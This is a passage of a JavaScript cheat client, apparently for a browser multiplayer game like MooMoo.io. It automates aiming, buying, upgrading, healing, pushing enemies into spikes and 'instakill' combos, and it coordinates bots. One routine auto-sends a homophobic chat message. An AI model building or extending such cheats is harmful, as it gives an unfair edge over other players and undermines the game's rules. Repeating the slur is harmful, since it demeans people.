  6053. } else {
  6054. packet("a", moveMent.dir, 1);
  6055. }
  6056. },
  6057. this.boostTickMovement = function() {
  6058. let dist = player.weapons[1] == 9 ? 365 : player.weapons[1] == 12 ? 380 : player.weapons[1] == 13 ? 365 : player.weapons[1] == 15 ? 365 : 370;
  6059. let actionDist = player.weapons[1] == 9 ? 2 : player.weapons[1] == 12 ? 1.5 : player.weapons[1] == 13 ? 1 : player.weapons[1] == 15 ? 2 : 3;
  6060. let moveMent = this.gotoGoal(372, 3);
  6061. if (moveMent.action) {
  6062. if (player.reloads[53] == 0 && !this.isTrue) {
  6063. this.boostTickType();
  6064. } else {
  6065. packet("a", moveMent.dir, 1);
  6066. }
  6067. } else {
  6068. packet("a", moveMent.dir, 1);
  6069. }
  6070. }
  6071. /** wait 1 tick for better quality */
  6072. this.perfCheck = function(pl, nr) {
  6073. if (nr.weaponIndex == 11 && UTILS.getAngleDist(nr.aim2 + Math.PI, nr.d2) <= config.shieldAngle) return false;
  6074. if (![9, 12, 13, 15].includes(player.weapons[1])) return true;
  6075. let pjs = {
  6076. x: nr.x2 + (65 * Math.cos(nr.aim2 + Math.PI)),
  6077. y: nr.y2 + (65 * Math.sin(nr.aim2 + Math.PI))
  6078. };
  6079. if (UTILS.lineInRect(pl.x2 - pl.scale, pl.y2 - pl.scale, pl.x2 + pl.scale, pl.y2 + pl.scale, pjs.x, pjs.y, pjs.x, pjs.y)) {
  6080. return true;
  6081. }
  6082. let finds = ais.filter(tmp => tmp.visible).find((tmp) => {
  6083. if (UTILS.lineInRect(tmp.x2 - tmp.scale, tmp.y2 - tmp.scale, tmp.x2 + tmp.scale, tmp.y2 + tmp.scale, pjs.x, pjs.y, pjs.x, pjs.y)) {
  6084. return true;
  6085. }
  6086. });
  6087. if (finds) return false;
  6088. finds = liztobj.filter(tmp => tmp.active).find((tmp) => {
  6089. let tmpScale = tmp.getScale();
  6090. if (!tmp.ignoreCollision && UTILS.lineInRect(tmp.x - tmpScale, tmp.y - tmpScale, tmp.x + tmpScale, tmp.y + tmpScale, pjs.x, pjs.y, pjs.x, pjs.y)) {
  6091. return true;
  6092. }
  6093. });
  6094. if (finds) return false;
  6095. return true;
  6096. }
  6097. }
  6098. };
  6099. class Autobuy {
  6100. constructor(buyHat, buyAcc) {
  6101. this.hat = function() {
  6102. buyHat.forEach((id) => {
  6103. let find = findID(hats, id);
  6104. if (find && !player.skins[id] && player.points >= find.price) packet("c", 1, id, 0);
  6105. });
  6106. };
  6107. this.acc = function() {
  6108. buyAcc.forEach((id) => {
  6109. let find = findID(accessories, id);
  6110. if (find && !player.tails[id] && player.points >= find.price) packet("c", 1, id, 1);
  6111. });
  6112. };
  6113. }
  6114. };
  6115.  
  6116. class Autoupgrade {
  6117. constructor() {
  6118. this.sb = function(upg) {
  6119. upg(3);
  6120. upg(17);
  6121. upg(31);
  6122. upg(23);
  6123. upg(9);
  6124. upg(38);
  6125. };
  6126. this.kh = function(upg) {
  6127. upg(3);
  6128. upg(17);
  6129. upg(31);
  6130. upg(23);
  6131. upg(10);
  6132. upg(38);
  6133. upg(4);
  6134. upg(25);
  6135. };
  6136. this.pb = function(upg) {
  6137. upg(5);
  6138. upg(17);
  6139. upg(32);
  6140. upg(23);
  6141. upg(9);
  6142. upg(38);
  6143. };
  6144. this.ph = function(upg) {
  6145. upg(5);
  6146. upg(17);
  6147. upg(32);
  6148. upg(23);
  6149. upg(10);
  6150. upg(38);
  6151. upg(28);
  6152. upg(25);
  6153. };
  6154. this.db = function(upg) {
  6155. upg(7);
  6156. upg(17);
  6157. upg(31);
  6158. upg(23);
  6159. upg(9);
  6160. upg(34);
  6161. };
  6162. /* old functions */
  6163. this.km = function(upg) {
  6164. upg(7);
  6165. upg(17);
  6166. upg(31);
  6167. upg(23);
  6168. upg(10);
  6169. upg(38);
  6170. upg(4);
  6171. upg(15);
  6172. };
  6173. };
  6174. };
  6175.  
  6176. class Damages {
  6177. constructor(items) {
  6178. // 0.75 1 1.125 1.5
  6179. this.calcDmg = function(dmg, val) {
  6180. return dmg * val;
  6181. };
  6182. this.getAllDamage = function(dmg) {
  6183. return [this.calcDmg(dmg, 0.75), dmg, this.calcDmg(dmg, 1.125), this.calcDmg(dmg, 1.5)];
  6184. };
  6185. this.weapons = [];
  6186. for (let i = 0; i < items.weapons.length; i++) {
  6187. let wp = items.weapons[i];
  6188. let name = wp.name.split(" ").length <= 1 ? wp.name : (wp.name.split(" ")[0] + "_" + wp.name.split(" ")[1]);
  6189. this.weapons.push(this.getAllDamage(i > 8 ? wp.Pdmg : wp.dmg));
  6190. this[name] = this.weapons[i];
  6191. }
  6192. }
  6193. }
  6194.  
  6195. // it skid XDDDDDDDDDDDDDDDDDDDDDDD
  6196.  
  6197. let hasDisplayedWarning = false;
  6198. function shameWarn() {
  6199. if (player.shameCount > 4 && !hasDisplayedWarning) {
  6200. hasDisplayedWarning = true;
  6201. const frameMsg = Object.assign(document.createElement("div"), {
  6202. innerHTML: `Warning: High Shame Detected`,
  6203. style: `
  6204. position: fixed;
  6205. top: 8%;
  6206. left: 50%;
  6207. transform: translate(-50%, -50%);
  6208. font-size: 1.5rem;
  6209. color: #a12a22;
  6210. text-shadow: -1px -1px 0 #333, 1px -1px 0 #333, -1px 1px 0 #333, 1px 1px 0 #333;
  6211. z-index: 9999;
  6212. opacity: 0;
  6213. transition: opacity 0.5s ease-in-out, transform 0.5s ease-in-out;
  6214. padding: 10px;
  6215. background-color: rgba(0, 0, 0, 0.2); /* Changed background color */
  6216. border: 2px solid #a12a22;
  6217. border-radius: 5px;
  6218. box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
  6219. `
  6220. });
  6221. document.body.appendChild(frameMsg);
  6222. setTimeout(function() {
  6223. frameMsg.style.opacity = "1";
  6224. frameMsg.style.transform = "translate(-50%, 0)";
  6225. setTimeout(function() {
  6226. frameMsg.style.opacity = "0";
  6227. frameMsg.style.transform = "translate(-50%, -50%)";
  6228. setTimeout(function() {
  6229. frameMsg.remove();
  6230. hasDisplayedWarning = false;
  6231. }, 500);
  6232. }, 2000);
  6233. }, 100);
  6234. }
  6235. }
  6236. setInterval(shameWarn, 100);
  6237.  
  6238.  
  6239. let greetings = false;
  6240.  
  6241. function getGreeting() {
  6242. const hour = new Date().getHours();
  6243. if (hour < 12) {
  6244. return "Good Morning!";
  6245. } else if (hour < 18) {
  6246. return "Good Afternoon!";
  6247. } else {
  6248. return "Good Evening!";
  6249. }
  6250. }
  6251.  
  6252. function greeting() {
  6253. if (!greetings) {
  6254. greetings = true;
  6255. const frameMsg = Object.assign(document.createElement("div"), {
  6256. innerHTML: `${getGreeting()}`,
  6257. style: `
  6258. position: fixed;
  6259. top: -100px;
  6260. left: 50%;
  6261. transform: translateX(-50%);
  6262. font-size: 2rem;
  6263. color: white;
  6264. z-index: 9999;
  6265. opacity: 3;
  6266. transition: top 0.5s ease-in-out, opacity 0.5s ease-in-out;
  6267. padding: 10px;
  6268. background-color: rgba(0, 0, 0, 0.2);
  6269. border: 2px solid #0000;
  6270. border-radius: 5px;
  6271. box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
  6272. `
  6273. });
  6274. document.body.appendChild(frameMsg);
  6275. setTimeout(function() {
  6276. frameMsg.style.top = "7%";
  6277. frameMsg.style.opacity = "1";
  6278. }, 100);
  6279. setTimeout(function() {
  6280. frameMsg.style.top = "-100px";
  6281. frameMsg.style.opacity = "0";
  6282. setTimeout(function() {
  6283. frameMsg.remove();
  6284. greetings = false;
  6285. }, 500);
  6286. }, 3000);
  6287. }
  6288. }
  6289. greeting();
  6290.  
  6291.  
  6292. /** CLASS CODES */
  6293. // jumpscare code warn
  6294. let tmpList = [];
  6295.  
  6296. // LOADING:
  6297. let UTILS = new Utils();
  6298. let items = new Items();
  6299. let objectManager = new Objectmanager(GameObject, gameObjects, UTILS, config);
  6300. let store = new Store();
  6301. let hats = store.hats;
  6302. let accessories = store.accessories;
  6303. let projectileManager = new ProjectileManager(Projectile, projectiles, players, ais, objectManager, items, config, UTILS);
  6304. let aiManager = new AiManager(ais, AI, players, items, null, config, UTILS);
  6305. let textManager = new Textmanager();
  6306.  
  6307. let traps = new Traps(UTILS, items);
  6308. let instaC = new Instakill();
  6309. let autoBuy = new Autobuy([40, 6, 7, 22, 53, 15, 31], [11, 21, 18, 13]);
  6310. let autoUpgrade = new Autoupgrade();
  6311.  
  6312. let lastDeath;
  6313. let minimapData;
  6314. let mapMarker = {};
  6315. let mapPings = [];
  6316. let tmpPing;
  6317.  
  6318. let breakTrackers = [];
  6319.  
  6320. function sendChat(message) {
  6321. packet("6", message.slice(0, 30));
  6322. }
  6323.  
  6324. let runAtNextTick = [];
  6325.  
  6326. function checkProjectileHolder(x, y, dir, range, speed, indx, layer, sid) {
  6327. let weaponIndx = indx == 0 ? 9 : indx == 2 ? 12 : indx == 3 ? 13 : indx == 5 && 15;
  6328. let projOffset = config.playerScale * 2;
  6329. let projXY = {
  6330. x: indx == 1 ? x : x - projOffset * Math.cos(dir),
  6331. y: indx == 1 ? y : y - projOffset * Math.sin(dir),
  6332. };
  6333. let nearPlayer = players.filter((e) => e.visible && UTILS.getDist(projXY, e, 0, 2) <= e.scale).sort(function(a, b) {
  6334. return UTILS.getDist(projXY, a, 0, 2) - UTILS.getDist(projXY, b, 0, 2);
  6335. })[0];
  6336. if (nearPlayer) {
  6337. if (indx == 1) {
  6338. nearPlayer.shooting[53] = 1;
  6339. } else {
  6340. nearPlayer.shootIndex = weaponIndx;
  6341. nearPlayer.shooting[1] = 1;
  6342. antiProj(nearPlayer, dir, range, speed, indx, weaponIndx);
  6343. }
  6344. }
  6345. }
  6346. let projectileCount = 0;
  6347.  
  6348. function antiProj(tmpObj, dir, range, speed, index, weaponIndex) {
  6349. if (!tmpObj.isTeam(player)) {
  6350. tmpDir = UTILS.getDirect(player, tmpObj, 2, 2);
  6351. if (UTILS.getAngleDist(tmpDir, dir) <= 0.2) {
  6352. tmpObj.bowThreat[weaponIndex]++;
  6353. if (index == 5) {
  6354. projectileCount++;
  6355. }
  6356. setTimeout(() => {
  6357. tmpObj.bowThreat[weaponIndex]--;
  6358. if (index == 5) {
  6359. projectileCount--;
  6360. }
  6361. }, range / speed);
  6362. if (tmpObj.bowThreat[9] >= 1 && (tmpObj.bowThreat[12] >= 1 || tmpObj.bowThreat[15] >= 1)) {
  6363. place(1, tmpObj.aim2);
  6364. my.anti0Tick = 4;
  6365. if (!my.antiSync) {
  6366. antiSyncHealing(4);
  6367. }
  6368. } else {
  6369. if (projectileCount >= 2) {
  6370. place(1, tmpObj.aim2);
  6371. healer();
  6372. sendChat("Sync for gays");
  6373. buyEquip(22, 0);
  6374. buyEquip(13, 1);
  6375. my.anti0Tick = 4;
  6376. if (!my.antiSync) {
  6377. antiSyncHealing(4);
  6378. }
  6379. } else {
  6380. if (projectileCount === 1) { // anti reverse or anti 1 tick with reaper
  6381. buyEquip(6, 0);
  6382. buyEquip(13, 1);
  6383. }
  6384. /*} else {
  6385. if (projectileCount >= 2) { // anti sync линия обороны N1
  6386. return Math.ceil((100 - player.health) / items.list[player.items[0]].healing);
  6387. player.chat.message = "pSyD";
  6388. healer();
  6389. buyEquip(6, 0);
  6390. }
  6391. }*/
  6392. }
  6393. }
  6394. }
  6395. }
  6396. }
  6397.  
  6398. // SHOW ITEM INFO:
  6399. function showItemInfo(item, isWeapon, isStoreItem) {
  6400. if (player && item) {
  6401. UTILS.removeAllChildren(itemInfoHolder);
  6402. itemInfoHolder.classList.add("visible");
  6403. UTILS.generateElement({
  6404. id: "itemInfoName",
  6405. text: UTILS.capitalizeFirst(item.name),
  6406. parent: itemInfoHolder
  6407. });
  6408. UTILS.generateElement({
  6409. id: "itemInfoDesc",
  6410. text: item.desc,
  6411. parent: itemInfoHolder
  6412. });
  6413. if (isStoreItem) {
  6414.  
  6415. } else if (isWeapon) {
  6416. UTILS.generateElement({
  6417. class: "itemInfoReq",
  6418. text: !item.type ? "primary" : "secondary",
  6419. parent: itemInfoHolder
  6420. });
  6421. } else {
  6422. for (let i = 0; i < item.req.length; i += 2) {
  6423. UTILS.generateElement({
  6424. class: "itemInfoReq",
  6425. html: item.req[i] + "<span class='itemInfoReqVal'> x" + item.req[i + 1] + "</span>",
  6426. parent: itemInfoHolder
  6427. });
  6428. }
  6429. if (item.group.limit) {
  6430. UTILS.generateElement({
  6431. class: "itemInfoLmt",
  6432. text: (player.itemCounts[item.group.id] || 0) + "/" + (config.isSandbox ? 99 : item.group.limit),
  6433. parent: itemInfoHolder
  6434. });
  6435. }
  6436. }
  6437. } else {
  6438. itemInfoHolder.classList.remove("visible");
  6439. }
  6440. }
  6441.  
  6442. // RESIZE:
  6443. window.addEventListener("resize", UTILS.checkTrusted(resize));
  6444.  
  6445. function resize() {
  6446. screenWidth = window.innerWidth;
  6447. screenHeight = window.innerHeight;
  6448. let scaleFillNative = Math.max(screenWidth / maxScreenWidth, screenHeight / maxScreenHeight) * pixelDensity;
  6449. gameCanvas.width = screenWidth * pixelDensity;
  6450. gameCanvas.height = screenHeight * pixelDensity;
  6451. gameCanvas.style.width = screenWidth + "px";
  6452. gameCanvas.style.height = screenHeight + "px";
  6453. mainContext.setTransform(
  6454. scaleFillNative, 0,
  6455. 0, scaleFillNative,
  6456. (screenWidth * pixelDensity - (maxScreenWidth * scaleFillNative)) / 2,
  6457. (screenHeight * pixelDensity - (maxScreenHeight * scaleFillNative)) / 2
  6458. );
  6459. }
  6460. resize();
  6461.  
  6462. // MOUSE INPUT:
  6463. var usingTouch;
  6464. const mals = document.getElementById('touch-controls-fullscreen');
  6465. mals.style.display = 'block';
  6466. mals.addEventListener("mousemove", gameInput, false);
  6467.  
  6468. function gameInput(e) {
  6469. mouseX = e.clientX;
  6470. mouseY = e.clientY;
  6471. }
  6472. let clicks = {
  6473. left: false,
  6474. middle: false,
  6475. right: false,
  6476. };
  6477. mals.addEventListener("mousedown", mouseDown, false);
  6478.  
  6479. function mouseDown(e) {
  6480. if (attackState != 1) {
  6481. attackState = 1;
  6482. if (e.button == 0) {
  6483. clicks.left = true;
  6484. } else if (e.button == 1 || e.key === 'b') {
  6485. clicks.middle = true;
  6486. } else if (e.button == 2) {
  6487. clicks.right = true;
  6488. }
  6489. }
  6490. }
  6491. mals.addEventListener("mouseup", UTILS.checkTrusted(mouseUp));
  6492.  
  6493. function mouseUp(e) {
  6494. if (attackState != 0) {
  6495. attackState = 0;
  6496. if (e.button == 0) {
  6497. clicks.left = false;
  6498. } else if (e.button == 1 || e.key === 'b') {
  6499. clicks.middle = false;
  6500. } else if (e.button == 2) {
  6501. clicks.right = false;
  6502. }
  6503. }
  6504. }
  6505. mals.addEventListener("wheel", wheel, false);
  6506.  
  6507. let wbe = 1;
  6508. function wheel(e) {
  6509. if (e.deltaY < 0) {
  6510. wbe -= 0.05;
  6511. maxScreenWidth = config.maxScreenWidth * wbe;
  6512. maxScreenHeight = config.maxScreenHeight * wbe;
  6513. resize()
  6514. } else {
  6515. wbe += 0.05;
  6516. maxScreenWidth = config.maxScreenWidth * wbe;
  6517. maxScreenHeight = config.maxScreenHeight * wbe;
  6518. resize()
  6519. }
  6520. }
  6521.  
  6522.  
  6523. // INPUT UTILS:
  6524. function getMoveDir() {
  6525. let dx = 0;
  6526. let dy = 0;
  6527. for (let key in moveKeys) {
  6528. let tmpDir = moveKeys[key];
  6529. dx += !!keys[key] * tmpDir[0];
  6530. dy += !!keys[key] * tmpDir[1];
  6531. }
  6532. return dx == 0 && dy == 0 ? undefined : Math.atan2(dy, dx);
  6533. }
  6534.  
  6535. function getSafeDir() {
  6536. if (!player)
  6537. return 0;
  6538. if (!player.lockDir) {
  6539. lastDir = Math.atan2(mouseY - (screenHeight / 2), mouseX - (screenWidth / 2));
  6540. }
  6541. return lastDir || 0;
  6542. }
  6543. let plusDir = 0;
  6544. let lastSpin = Date.now();
  6545. function getAttackDir() {
  6546. if(player && Date.now() - lastSpin >= 235 && !(clicks.right || clicks.left)) {
  6547. plusDir += Math.random()*(Math.PI*2);
  6548. lastSpin = Date.now();
  6549. }
  6550. if (!player)
  6551. return "0";
  6552. if (my.autoAim || ((clicks.left || (useWasd && near.dist2 <= items.weapons[player.weapons[0]].range + near.scale * 1.8 && !traps.inTrap)) && player.reloads[player.weapons[0]] == 0))
  6553. lastDir = getEl("weaponGrind").checked ? getSafeDir() : enemy.length ? near.aim2 : getSafeDir();
  6554. else
  6555. if (clicks.right && player.reloads[player.weapons[1] == 10 ? player.weapons[1] : player.weapons[0]] == 0)
  6556. lastDir = getSafeDir();
  6557. else
  6558. if (traps.inTrap) {
  6559. lastDir = traps.aim;
  6560. } else
  6561. if (!player.lockDir) {
  6562. if (!player.lockDir && autos.stopspin) {
  6563. if(useWasd) {
  6564. lastDir = lastDir;
  6565. } else {
  6566. lastDir = getSafeDir();
  6567. }
  6568. }
  6569. }
  6570. return lastDir;
  6571. }
  6572.  
  6573. function getVisualDir() {
  6574. if (!player)
  6575. return 0;
  6576. lastDir = getSafeDir();
  6577. return lastDir || 0;
  6578. }
  6579.  
  6580. // KEYS:
  6581. function keysActive() {
  6582. return (allianceMenu.style.display != "block" &&
  6583. chatHolder.style.display != "block" &&
  6584. !menuCBFocus);
  6585. }
  6586.  
  6587. function toggleMenuChat() {
  6588. if (menuChatDiv.style.display != "none") {
  6589. // chatHolder.style.display = "none";
  6590. // if (menuChatBox.value != "") {
  6591. //commands[command.slice(1)]
  6592. let cmd = function(command) {
  6593. return {
  6594. found: command.startsWith("/") && commands[command.slice(1).split(" ")[0]],
  6595. fv: commands[command.slice(1).split(" ")[0]]
  6596. }
  6597. }
  6598. let command = cmd(menuChatBox.value);
  6599. if (command.found) {
  6600. if (typeof command.fv.action === "function") {
  6601. command.fv.action(menuChatBox.value);
  6602. }
  6603. } else {
  6604. sendChat(menuChatBox.value);
  6605. }
  6606. menuChatBox.value = "";
  6607. menuChatBox.blur();
  6608. } else {
  6609. if (menuCBFocus) {
  6610. menuChatBox.blur();
  6611. } else {
  6612. menuChatBox.focus();
  6613. }
  6614. }
  6615. }
  6616.  
  6617. function keyDown(event) {
  6618. let keyNum = event.which || event.keyCode || 0;
  6619. if (player && player.alive && keysActive()) {
  6620. if (!keys[keyNum]) {
  6621. keys[keyNum] = 1;
  6622. macro[event.key] = 1;
  6623. if (keyNum == 27) {
  6624. openMenu = !openMenu;
  6625. $("#menuDiv").toggle();
  6626. } else if (keyNum == 17) {
  6627. openMenu = !openMenu;
  6628. $("#menuChatDiv").toggle();
  6629. } else if (keyNum == 69) {
  6630. sendAutoGather();
  6631. } else if (keyNum == 67) {
  6632. updateMapMarker();
  6633. } else if (player.weapons[keyNum - 49] != undefined) {
  6634. player.weaponCode = player.weapons[keyNum - 49];
  6635. } else if (moveKeys[keyNum]) {
  6636. sendMoveDir();
  6637. } else if (event.key == "m") {
  6638. mills.placeSpawnPads = !mills.placeSpawnPads;
  6639. } else if (event.key === "x") {
  6640. var musketCheckbox = document.getElementById("musketSync");
  6641. if (musketCheckbox && musketCheckbox.checked) {
  6642. packet("6", "!Sync");
  6643. }
  6644. } else if (event.key == 'b') {
  6645. clicks.middle = true;
  6646. } else if (event.key == "z") {
  6647. mills.place = !mills.place;
  6648. } else if (event.key == "Z") {
  6649. typeof window.debug == "function" && window.debug();
  6650. } else if (keyNum == 32) {
  6651. packet("d", 1, getSafeDir(), 1);
  6652. packet("d", 0, getSafeDir(), 1);
  6653. } else if (event.key == ",") {
  6654. io.send("6", 'syncon')
  6655. project.send(JSON.stringify(["tezt", "ratio"]));
  6656. // botSkts.push([botPlayer]);
  6657. for(let i = 0; i < botz.length; i++) {
  6658. // if(botz[i][0]) {
  6659. botz[i][0].zync(near);
  6660. console.log(botz[i][0])
  6661. }
  6662. // project.send("tezt");
  6663. // botSkts.forEach((bot) => {
  6664. // bot.zync();
  6665. // })
  6666. // io.send("S", 1)
  6667. }
  6668. }
  6669. }
  6670. }
  6671.  
  6672. // let xx = canvaz.width/2;
  6673. // let yy = canvaz.height/2;
  6674.  
  6675. // let mouze = {
  6676. // x: xx - mouzeX,
  6677. // y: yy - mouzeY
  6678. // }
  6679.  
  6680. // let ingamecoorformodabow = {
  6681. // x: player.x + mouze.x,
  6682. // y: player.x + mouze.x
  6683. // }
  6684.  
  6685. addEventListener("keydown", UTILS.checkTrusted(keyDown));
  6686.  
  6687. function keyUp(event) {
  6688. if (player && player.alive) {
  6689. let keyNum = event.which || event.keyCode || 0;
  6690. if (keyNum == 13) {
  6691. toggleMenuChat();
  6692. } else if (keysActive()) {
  6693. if (keys[keyNum]) {
  6694. keys[keyNum] = 0;
  6695. macro[event.key] = 0;
  6696. if (moveKeys[keyNum]) {
  6697. sendMoveDir();
  6698. } else if (event.key == ",") {
  6699. player.sync = false;
  6700. } else if (event.key == 'b') {
  6701. clicks.middle = false;
  6702. }
  6703. }
  6704. }
  6705. }
  6706. }
  6707.  
  6708.  
  6709. window.addEventListener("keyup", UTILS.checkTrusted(keyUp));
  6710.  
  6711. function sendMoveDir() {
  6712. if(found) {
  6713. packet("a", undefined, 1);
  6714. } else {
  6715. let newMoveDir = getMoveDir();
  6716. if (lastMoveDir == undefined || newMoveDir == undefined || Math.abs(newMoveDir - lastMoveDir) > 0.3) {
  6717. if (!my.autoPush && !found) {
  6718. packet("a", newMoveDir, 1);
  6719. }
  6720. lastMoveDir = newMoveDir;
  6721. }
  6722. }
  6723. }
  6724.  
  6725. // BUTTON EVENTS:
  6726. function bindEvents() {}
  6727. bindEvents();
  6728.  
  6729. // ITEM COUNT DISPLAY:
  6730. let isItemSetted = [];
  6731.  
  6732. function updateItemCountDisplay(index = undefined) {
  6733. for (let i = 3; i < items.list.length; ++i) {
  6734. let id = items.list[i].group.id;
  6735. let tmpI = items.weapons.length + i;
  6736. if (!isItemSetted[tmpI]) {
  6737. isItemSetted[tmpI] = document.createElement("div");
  6738. isItemSetted[tmpI].id = "itemCount" + tmpI;
  6739. getEl("actionBarItem" + tmpI).appendChild(isItemSetted[tmpI]);
  6740. isItemSetted[tmpI].style = `
  6741. display: block;
  6742. position: absolute;
  6743. padding-left: 5px;
  6744. font-size: 2em;
  6745. color: #fff;
  6746. `;
  6747. isItemSetted[tmpI].innerHTML = player.itemCounts[id] || 0;
  6748. } else {
  6749. if (index == id) isItemSetted[tmpI].innerHTML = player.itemCounts[index] || 0;
  6750. }
  6751. }
  6752. }
  6753.  
  6754. // AUTOPUSH:
  6755. function autoPush() {
  6756. let nearTrap = gameObjects.filter(tmp => tmp.trap && tmp.active && tmp.isTeamObject(player) && UTILS.getDist(tmp, near, 0, 2) <= (near.scale + tmp.getScale() + 5)).sort(function(a, b) {
  6757. return UTILS.getDist(a, near, 0, 2) - UTILS.getDist(b, near, 0, 2);
  6758. })[0];
  6759. if (nearTrap && near && near.dist2 <= 260) {
  6760. let spike = gameObjects.filter(tmp => tmp.dmg && tmp.active && tmp.isTeamObject(player) && UTILS.getDist(tmp, nearTrap, 0, 0) <= (near.scale + nearTrap.scale + tmp.scale)).sort(function(a, b) {
  6761. return UTILS.getDist(a, near, 0, 2) - UTILS.getDist(b, near, 0, 2);
  6762. })[0];
  6763. if (spike) {
  6764. if(near.dist2 <= 180 && near.health <= 66 && tmpObj.reloads[tmpObj.primaryIndex] == 0){
  6765. instaC.spikeTickType();
  6766. }
  6767. let pos = {
  6768. x: spike.x + (250 * Math.cos(UTILS.getDirect(near, spike, 2, 0))),
  6769. y: spike.y + (250 * Math.sin(UTILS.getDirect(near, spike, 2, 0))),
  6770. x2: spike.x + ((UTILS.getDist(near, spike, 2, 0) + player.scale) * Math.cos(UTILS.getDirect(near, spike, 2, 0))),
  6771. y2: spike.y + ((UTILS.getDist(near, spike, 2, 0) + player.scale) * Math.sin(UTILS.getDirect(near, spike, 2, 0)))
  6772. };
  6773. let finds = gameObjects.filter(tmp => tmp.active).find((tmp) => {
  6774. let tmpScale = tmp.getScale();
  6775. if (!tmp.ignoreCollision && UTILS.lineInRect(tmp.x - tmpScale, tmp.y - tmpScale, tmp.x + tmpScale, tmp.y + tmpScale, player.x2, player.y2, pos.x2, pos.y2)) {
  6776. return true;
  6777. }
  6778. });
  6779. if (finds) {
  6780. if (my.autoPush) {
  6781. my.autoPush = false;
  6782. packet("a", lastMoveDir || undefined, 1);
  6783. }
  6784. } else {
  6785. my.autoPush = true;
  6786. my.pushData = {
  6787. x: spike.x + Math.cos(70),
  6788. y: spike.y + Math.sin(70),
  6789. x2: pos.x2 + Math.cos(30),
  6790. y2: pos.y2 + Math.sin(30)
  6791. };
  6792. let scale = player.scale / 10;
  6793. let secondArg = UTILS.getDirect(near, spike, 2, 0) > 70 ? near.aim2 : undefined;
  6794. if (UTILS.lineInRect(player.x2 - scale, player.y2 - scale, player.x2 + scale, player.y2 + scale, near.x2, near.y2, pos.x, pos.y)) {
  6795. packet("a", secondArg, 1);
  6796. textManager.showText(player.x2, player.y2, 30, 0.15, 1850, "Push him!!", "#00FF00", 2);
  6797. } else {
  6798. packet("a", UTILS.getDirect(pos, player, 2, 2), 1);
  6799. }
  6800. }
  6801. } else {
  6802. if (my.autoPush) {
  6803. my.autoPush = false;
  6804. packet("a", lastMoveDir || undefined, 1);
  6805. }
  6806. }
  6807. } else {
  6808. if (my.autoPush) {
  6809. my.autoPush = false;
  6810. packet("a", lastMoveDir || undefined, 1);
  6811. }
  6812. }
  6813. }
  6814.  
  6815. // ADD DEAD PLAYER:
  6816. function addDeadPlayer(tmpObj) {
  6817. deadPlayers.push(new DeadPlayer(tmpObj.x, tmpObj.y, tmpObj.dir, tmpObj.buildIndex, tmpObj.weaponIndex, tmpObj.weaponVariant, tmpObj.skinColor, tmpObj.scale, tmpObj.name));
  6818. }
  6819.  
  6820. /** APPLY SOCKET CODES */
  6821.  
  6822. // SET INIT DATA:
  6823. function setInitData(data) {
  6824. alliances = data.teams;
  6825. }
  6826.  
  6827. // SETUP GAME:
  6828. function setupGame(yourSID) {
  6829. keys = {};
  6830. macro = {};
  6831. playerSID = yourSID;
  6832. attackState = 0;
  6833. inGame = true;
  6834. packet("d", 0, getAttackDir(), 1);
  6835. my.ageInsta = true;
  6836. if (firstSetup) {
  6837. firstSetup = false;
  6838. gameObjects.length = 0;
  6839. liztobj.length = 0;
  6840. }
  6841. }
  6842.  
  6843. // ADD NEW PLAYER:
  6844. function addPlayer(data, isYou) {
  6845. let tmpPlayer = findPlayerByID(data[0]);
  6846. if (!tmpPlayer) {
  6847. tmpPlayer = new Player(data[0], data[1], config, UTILS, projectileManager,
  6848. objectManager, players, ais, items, hats, accessories);
  6849. players.push(tmpPlayer);
  6850. if (data[1] != playerSID) {
  6851. addMenuChText(null, `Found ${data[2]} {${data[1]}}`, "lime");
  6852. }
  6853. } else {
  6854. if (data[1] != playerSID) {
  6855. addMenuChText(null, `Found ${data[2]} {${data[1]}}`, "lime");
  6856. }
  6857. }
  6858. tmpPlayer.spawn(isYou ? true : null);
  6859. tmpPlayer.visible = false;
  6860. tmpPlayer.oldPos = {
  6861. x2: undefined,
  6862. y2: undefined
  6863. };
  6864. tmpPlayer.x2 = undefined;
  6865. tmpPlayer.y2 = undefined;
  6866. tmpPlayer.x3 = undefined;
  6867. tmpPlayer.y3 = undefined;
  6868. tmpPlayer.setData(data);
  6869. if (isYou) {
  6870. if (!player) {
  6871. window.prepareUI(tmpPlayer);
  6872. }
  6873. player = tmpPlayer;
  6874. camX = player.x;
  6875. camY = player.y;
  6876. my.lastDir = 0;
  6877. updateItems();
  6878. updateAge();
  6879. updateItemCountDisplay();
  6880. if (player.skins[7]) {
  6881. my.reSync = true;
  6882. }
  6883. }
  6884. }
  6885.  
  6886. // REMOVE PLAYER:
  6887. function removePlayer(id) {
  6888. for (let i = 0; i < players.length; i++) {
  6889. if (players[i].id == id) {
  6890. addMenuChText("Game", players[i].name + "[" + players[i].sid + "] left the game", "red");
  6891. players.splice(i, 1);
  6892. break;
  6893. }
  6894. }
  6895. }
  6896. // dune mod dmgpot
  6897. function sortWeaponVariant(id) {
  6898. switch (id) {
  6899. case 0:
  6900. return 1
  6901. break;
  6902. case 1:
  6903. return 1.1
  6904. break;
  6905. case 2:
  6906. return 1.18
  6907. break;
  6908. case 3:
  6909. return 1.18
  6910. break;
  6911. default:
  6912. return 1
  6913. break;
  6914. }
  6915. }
  6916. function sortSecondaryAmmoDamage(weapon) {
  6917. switch (weapon) {
  6918. case 10:
  6919. return 12
  6920. break
  6921. case 15:
  6922. return 50
  6923. break;
  6924. case 9:
  6925. return 25
  6926. break;
  6927. case 12:
  6928. return 35
  6929. break;
  6930. case 13:
  6931. return 30
  6932. break;
  6933. default:
  6934. return 0
  6935. }
  6936. }
  6937. function potdmg(tmpObj, t) {
  6938. let d = t - tmpObj.health;
  6939. if (d >= 100) {
  6940. } else {
  6941. if (player == tmpObj) {
  6942. if (tmpObj.skinIndex == 7 && (Math.abs(d) == 5 || (tmpObj.latestTail == 13 && Math.abs(d) == 2))) {
  6943. tmpObj.bullTick = game.tick
  6944. if (my.reSync) {
  6945. my.reSync = false;
  6946. }
  6947. }
  6948. dmgpotwowwowow();
  6949. }
  6950. }
  6951. }
  6952. function dmgpotwowwowow() {
  6953. let potential = DmgPotWorkfrfrfr();
  6954. if (nears.length) {
  6955. addMenuChText("Dev", `Dmg potential: ${potential}`, "red");
  6956. // notif(`Dmg potential: ${potential}`)
  6957. if (Math.round(player.health - potential <= 0)) {
  6958. if ((player.health - (potential * player.skinIndex == 6 ? 0.75 : 1) >= 0)) {
  6959. game.tickBase(() => {
  6960. heal();
  6961. }, 2);
  6962. } else {
  6963. if(player.shameCount < 5) {
  6964. heal();
  6965. } else {
